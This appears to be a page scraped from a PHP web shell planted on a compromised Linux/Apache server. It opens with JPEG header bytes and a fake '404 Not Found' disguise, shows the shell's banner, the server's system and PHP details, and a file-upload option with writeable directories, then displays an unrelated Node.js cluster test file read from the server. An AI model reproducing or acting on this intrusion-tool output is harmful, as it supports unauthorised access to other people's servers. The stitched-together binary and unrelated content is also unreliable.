����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /home/real/node-v13.0.1/test/parallel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/real/node-v13.0.1/test/parallel/test-cluster-disconnect-leak.js
'use strict';

// Test fails in Node v5.4.0 and passes in v5.4.1 and newer.

const common = require('../common');
const net = require('net');
const cluster = require('cluster');

cluster.schedulingPolicy = cluster.SCHED_NONE;

if (cluster.isMaster) {
  const worker = cluster.fork();

  // This is the important part of the test: Confirm that `disconnect` fires.
  worker.on('disconnect', common.mustCall());

  // These are just some extra stuff we're checking for good measure...
  worker.on('exit', common.mustCall());
  cluster.on('exit', common.mustCall());

  cluster.disconnect();
  return;
}

const server = net.createServer();

server.listen(0);

ZeroDay Forums Mini